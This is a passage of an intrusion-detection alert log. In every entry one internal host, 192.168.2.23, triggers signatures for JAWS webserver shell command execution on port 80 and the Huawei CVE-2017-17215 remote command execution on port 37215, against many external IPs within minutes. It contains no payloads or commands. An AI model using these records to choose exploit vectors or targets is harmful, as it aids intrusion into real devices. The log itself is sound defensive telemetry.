Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 209.147.167.133

Timestamp:	192.168.2.23209.147.167.13337730802030092 07/11/22-01:02:31.532202
SID:	2030092
Source Port:	37730
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 20.108.74.81

Timestamp:	192.168.2.2320.108.74.8137146802030092 07/11/22-01:03:26.966160
SID:	2030092
Source Port:	37146
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 41.105.207.98

Timestamp:	192.168.2.2341.105.207.9846640802030092 07/11/22-01:04:09.167127
SID:	2030092
Source Port:	46640
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 202.165.44.57

Timestamp:	192.168.2.23202.165.44.5742122802030092 07/11/22-01:04:11.296542
SID:	2030092
Source Port:	42122
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 163.191.54.218

Timestamp:	192.168.2.23163.191.54.21847800802030092 07/11/22-01:04:06.233601
SID:	2030092
Source Port:	47800
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 108.156.23.216

Timestamp:	192.168.2.23108.156.23.21653124802030092 07/11/22-01:04:11.343488
SID:	2030092
Source Port:	53124
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 115.182.199.50

Timestamp:	192.168.2.23115.182.199.5058954802030092 07/11/22-01:03:06.372663
SID:	2030092
Source Port:	58954
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.71.250.23

Timestamp:	192.168.2.23104.71.250.2360026802030092 07/11/22-01:03:27.044275
SID:	2030092
Source Port:	60026
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.107.234.240

Timestamp:	192.168.2.23104.107.234.24045982802030092 07/11/22-01:03:33.015597
SID:	2030092
Source Port:	45982
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.41.60.17

Timestamp:	192.168.2.2323.41.60.1733276802030092 07/11/22-01:03:15.773915
SID:	2030092
Source Port:	33276
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 120.232.191.123

Timestamp:	192.168.2.23120.232.191.12355532802030092 07/11/22-01:02:35.899566
SID:	2030092
Source Port:	55532
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 172.65.88.23

Timestamp:	192.168.2.23172.65.88.2349430802030092 07/11/22-01:04:15.034646
SID:	2030092
Source Port:	49430
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.102.193

Timestamp:	192.168.2.23156.250.102.19351792372152835222 07/11/22-01:02:47.751038
SID:	2835222
Source Port:	51792
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 92.45.9.205

Timestamp:	192.168.2.2392.45.9.20549110802030092 07/11/22-01:02:45.882959
SID:	2030092
Source Port:	49110
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 218.75.63.114

Timestamp:	192.168.2.23218.75.63.11459376802030092 07/11/22-01:03:59.990895
SID:	2030092
Source Port:	59376
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.96.108

Timestamp:	192.168.2.23156.226.96.10847632372152835222 07/11/22-01:02:43.851126
SID:	2835222
Source Port:	47632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.39.102.41

Timestamp:	192.168.2.2352.39.102.4148904802030092 07/11/22-01:03:38.531369
SID:	2030092
Source Port:	48904
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.203.81.201

Timestamp:	192.168.2.2345.203.81.20133592802030092 07/11/22-01:02:27.922130
SID:	2030092
Source Port:	33592
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.89.52

Timestamp:	192.168.2.23156.250.89.5238100372152835222 07/11/22-01:03:45.369466
SID:	2835222
Source Port:	38100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 186.7.118.223

Timestamp:	192.168.2.23186.7.118.22335450802030092 07/11/22-01:04:11.904827
SID:	2030092
Source Port:	35450
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.74.68

Timestamp:	192.168.2.23156.226.74.6851236372152835222 07/11/22-01:03:26.188848
SID:	2835222
Source Port:	51236
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 80.229.37.250

Timestamp:	192.168.2.2380.229.37.25034300802030092 07/11/22-01:02:33.558403
SID:	2030092
Source Port:	34300
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.232.131.11

Timestamp:	192.168.2.2318.232.131.1154154802030092 07/11/22-01:04:09.129804
SID:	2030092
Source Port:	54154
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.74.174.109

Timestamp:	192.168.2.2323.74.174.10953380802030092 07/11/22-01:04:15.056801
SID:	2030092
Source Port:	53380
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 101.43.42.104

Timestamp:	192.168.2.23101.43.42.10443080802030092 07/11/22-01:02:13.378809
SID:	2030092
Source Port:	43080
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 212.82.35.240

Timestamp:	192.168.2.23212.82.35.24048942802030092 07/11/22-01:02:23.364314
SID:	2030092
Source Port:	48942
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 1.217.97.85

Timestamp:	192.168.2.231.217.97.8536488802030092 07/11/22-01:02:51.952219
SID:	2030092
Source Port:	36488
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 68.66.82.106

Timestamp:	192.168.2.2368.66.82.10657266802030092 07/11/22-01:02:21.019165
SID:	2030092
Source Port:	57266
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 134.119.3.153

Timestamp:	192.168.2.23134.119.3.15352322802030092 07/11/22-01:04:06.999154
SID:	2030092
Source Port:	52322
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.237.168.19

Timestamp:	192.168.2.23104.237.168.1943652802030092 07/11/22-01:02:31.688347
SID:	2030092
Source Port:	43652
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.71.114

Timestamp:	192.168.2.23156.254.71.11450516372152835222 07/11/22-01:02:31.992966
SID:	2835222
Source Port:	50516
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 161.122.37.35

Timestamp:	192.168.2.23161.122.37.3540512802030092 07/11/22-01:02:35.433532
SID:	2030092
Source Port:	40512
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.111.43

Timestamp:	192.168.2.23156.250.111.4348672372152835222 07/11/22-01:03:52.817311
SID:	2835222
Source Port:	48672
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 120.26.69.141

Timestamp:	192.168.2.23120.26.69.14136008802030092 07/11/22-01:04:03.408558
SID:	2030092
Source Port:	36008
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.82.23

Timestamp:	192.168.2.23156.254.82.2338582372152835222 07/11/22-01:03:29.743410
SID:	2835222
Source Port:	38582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 194.195.41.208

Timestamp:	192.168.2.23194.195.41.20847984802030092 07/11/22-01:02:13.215409
SID:	2030092
Source Port:	47984
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 179.61.153.83

Timestamp:	192.168.2.23179.61.153.8333278802030092 07/11/22-01:03:06.875966
SID:	2030092
Source Port:	33278
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 172.255.123.68

Timestamp:	192.168.2.23172.255.123.6860650802030092 07/11/22-01:02:18.188574
SID:	2030092
Source Port:	60650
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 2.133.17.88

Timestamp:	192.168.2.232.133.17.8834422802030092 07/11/22-01:04:09.231984
SID:	2030092
Source Port:	34422
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 207.170.149.124

Timestamp:	192.168.2.23207.170.149.12441338802030092 07/11/22-01:02:35.195258
SID:	2030092
Source Port:	41338
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.193.137.116

Timestamp:	192.168.2.2334.193.137.11633826802030092 07/11/22-01:03:52.077304
SID:	2030092
Source Port:	33826
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 202.139.212.173

Timestamp:	192.168.2.23202.139.212.17339320802030092 07/11/22-01:03:51.444385
SID:	2030092
Source Port:	39320
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.71.71.221

Timestamp:	192.168.2.23185.71.71.22157106802030092 07/11/22-01:04:09.047797
SID:	2030092
Source Port:	57106
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 139.59.46.230

Timestamp:	192.168.2.23139.59.46.23049718802030092 07/11/22-01:03:27.264539
SID:	2030092
Source Port:	49718
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 103.150.60.152

Timestamp:	192.168.2.23103.150.60.15246302802030092 07/11/22-01:02:23.419911
SID:	2030092
Source Port:	46302
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 216.68.114.229

Timestamp:	192.168.2.23216.68.114.22944862802030092 07/11/22-01:02:33.573136
SID:	2030092
Source Port:	44862
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 202.101.195.20

Timestamp:	192.168.2.23202.101.195.2041002802030092 07/11/22-01:03:47.353755
SID:	2030092
Source Port:	41002
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 219.250.213.157

Timestamp:	192.168.2.23219.250.213.15751686802030092 07/11/22-01:04:06.317264
SID:	2030092
Source Port:	51686
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 64.227.128.62

Timestamp:	192.168.2.2364.227.128.6259466802030092 07/11/22-01:03:42.426476
SID:	2030092
Source Port:	59466
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.245.42.226

Timestamp:	192.168.2.23156.245.42.22659012372152835222 07/11/22-01:03:50.025675
SID:	2835222
Source Port:	59012
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 35.174.103.209

Timestamp:	192.168.2.2335.174.103.20953162802030092 07/11/22-01:04:11.870118
SID:	2030092
Source Port:	53162
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.45.115.208

Timestamp:	192.168.2.2352.45.115.20836616802030092 07/11/22-01:02:50.420655
SID:	2030092
Source Port:	36616
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 51.124.12.20

Timestamp:	192.168.2.2351.124.12.2049046802030092 07/11/22-01:04:10.015104
SID:	2030092
Source Port:	49046
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.98.218

Timestamp:	192.168.2.23156.235.98.21853574372152835222 07/11/22-01:03:37.443700
SID:	2835222
Source Port:	53574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 157.241.4.159

Timestamp:	192.168.2.23157.241.4.15956750802030092 07/11/22-01:03:00.509348
SID:	2030092
Source Port:	56750
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 184.50.167.202

Timestamp:	192.168.2.23184.50.167.20242078802030092 07/11/22-01:03:56.020835
SID:	2030092
Source Port:	42078
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 103.80.28.63

Timestamp:	192.168.2.23103.80.28.6336746802030092 07/11/22-01:03:01.496104
SID:	2030092
Source Port:	36746
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.245.63.77

Timestamp:	192.168.2.23156.245.63.7756128372152835222 07/11/22-01:03:52.898552
SID:	2835222
Source Port:	56128
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 101.37.21.217

Timestamp:	192.168.2.23101.37.21.21745848802030092 07/11/22-01:03:19.096978
SID:	2030092
Source Port:	45848
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.224.116.132

Timestamp:	192.168.2.2334.224.116.13248018802030092 07/11/22-01:04:03.080904
SID:	2030092
Source Port:	48018
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.52.154

Timestamp:	192.168.2.23156.254.52.15448848372152835222 07/11/22-01:03:23.158776
SID:	2835222
Source Port:	48848
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 159.69.100.246

Timestamp:	192.168.2.23159.69.100.24634340802030092 07/11/22-01:02:22.098817
SID:	2030092
Source Port:	34340
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.76.177

Timestamp:	192.168.2.23156.254.76.17750476372152835222 07/11/22-01:03:20.804677
SID:	2835222
Source Port:	50476
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 182.161.241.210

Timestamp:	192.168.2.23182.161.241.21060266802030092 07/11/22-01:04:06.671302
SID:	2030092
Source Port:	60266
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 50.2.209.215

Timestamp:	192.168.2.2350.2.209.21550566802030092 07/11/22-01:03:30.104472
SID:	2030092
Source Port:	50566
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 202.101.195.20

Timestamp:	192.168.2.23202.101.195.2040998802030092 07/11/22-01:03:47.359783
SID:	2030092
Source Port:	40998
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 116.212.156.44

Timestamp:	192.168.2.23116.212.156.4442900802030092 07/11/22-01:04:13.954980
SID:	2030092
Source Port:	42900
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 194.60.213.211

Timestamp:	192.168.2.23194.60.213.21156648802030092 07/11/22-01:04:09.036960
SID:	2030092
Source Port:	56648
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 8.129.188.142

Timestamp:	192.168.2.238.129.188.14256218802030092 07/11/22-01:03:06.956112
SID:	2030092
Source Port:	56218
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 208.77.211.9

Timestamp:	192.168.2.23208.77.211.945270802030092 07/11/22-01:02:50.454798
SID:	2030092
Source Port:	45270
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.105.143

Timestamp:	192.168.2.23156.244.105.14337908372152835222 07/11/22-01:03:26.202557
SID:	2835222
Source Port:	37908
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.88.180

Timestamp:	192.168.2.23156.250.88.18056316372152835222 07/11/22-01:02:36.058828
SID:	2835222
Source Port:	56316
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 173.208.43.61

Timestamp:	192.168.2.23173.208.43.6134726802030092 07/11/22-01:03:55.281194
SID:	2030092
Source Port:	34726
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 173.237.137.159

Timestamp:	192.168.2.23173.237.137.15945348802030092 07/11/22-01:02:20.658168
SID:	2030092
Source Port:	45348
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 47.75.254.251

Timestamp:	192.168.2.2347.75.254.25148714802030092 07/11/22-01:03:33.185616
SID:	2030092
Source Port:	48714
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 67.78.178.142

Timestamp:	192.168.2.2367.78.178.14249484802030092 07/11/22-01:02:28.078285
SID:	2030092
Source Port:	49484
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 201.190.15.74

Timestamp:	192.168.2.23201.190.15.7450374802030092 07/11/22-01:03:20.767472
SID:	2030092
Source Port:	50374
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.66.140

Timestamp:	192.168.2.23156.241.66.14048430372152835222 07/11/22-01:03:50.043350
SID:	2835222
Source Port:	48430
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.155.108.17

Timestamp:	192.168.2.2354.155.108.1760416802030092 07/11/22-01:02:56.002868
SID:	2030092
Source Port:	60416
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.20.219.251

Timestamp:	192.168.2.23104.20.219.25137656802030092 07/11/22-01:02:34.957669
SID:	2030092
Source Port:	37656
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 153.126.157.50

Timestamp:	192.168.2.23153.126.157.5047684802030092 07/11/22-01:03:30.345321
SID:	2030092
Source Port:	47684
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 103.148.79.138

Timestamp:	192.168.2.23103.148.79.13835248802030092 07/11/22-01:03:45.473675
SID:	2030092
Source Port:	35248
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.41.20.154

Timestamp:	192.168.2.2323.41.20.15439638802030092 07/11/22-01:02:58.257392
SID:	2030092
Source Port:	39638
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 35.84.190.106

Timestamp:	192.168.2.2335.84.190.10654314802030092 07/11/22-01:02:13.849424
SID:	2030092
Source Port:	54314
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.17.212

Timestamp:	192.168.2.23156.250.17.21255768372152835222 07/11/22-01:03:54.604250
SID:	2835222
Source Port:	55768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 42.29.30.252

Timestamp:	192.168.2.2342.29.30.25250606802030092 07/11/22-01:02:42.345311
SID:	2030092
Source Port:	50606
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.8.157.208

Timestamp:	192.168.2.2323.8.157.20847010802030092 07/11/22-01:03:41.078495
SID:	2030092
Source Port:	47010
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 84.254.22.34

Timestamp:	192.168.2.2384.254.22.3452156802030092 07/11/22-01:03:19.076555
SID:	2030092
Source Port:	52156
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 164.88.11.48

Timestamp:	192.168.2.23164.88.11.4859882802030092 07/11/22-01:02:44.457635
SID:	2030092
Source Port:	59882
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 150.158.133.70

Timestamp:	192.168.2.23150.158.133.7054082802030092 07/11/22-01:03:30.291551
SID:	2030092
Source Port:	54082
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 39.105.227.123

Timestamp:	192.168.2.2339.105.227.12349966802030092 07/11/22-01:03:47.257998
SID:	2030092
Source Port:	49966
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 198.211.0.178

Timestamp:	192.168.2.23198.211.0.17857444802030092 07/11/22-01:02:35.089895
SID:	2030092
Source Port:	57444
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 111.52.240.34

Timestamp:	192.168.2.23111.52.240.3459020802030092 07/11/22-01:03:05.796648
SID:	2030092
Source Port:	59020
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 38.53.67.152

Timestamp:	192.168.2.2338.53.67.15255184802030092 07/11/22-01:02:28.380867
SID:	2030092
Source Port:	55184
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 115.146.57.177

Timestamp:	192.168.2.23115.146.57.17734546802030092 07/11/22-01:02:36.690922
SID:	2030092
Source Port:	34546
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 217.24.49.150

Timestamp:	192.168.2.23217.24.49.15042326802030092 07/11/22-01:03:42.221346
SID:	2030092
Source Port:	42326
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

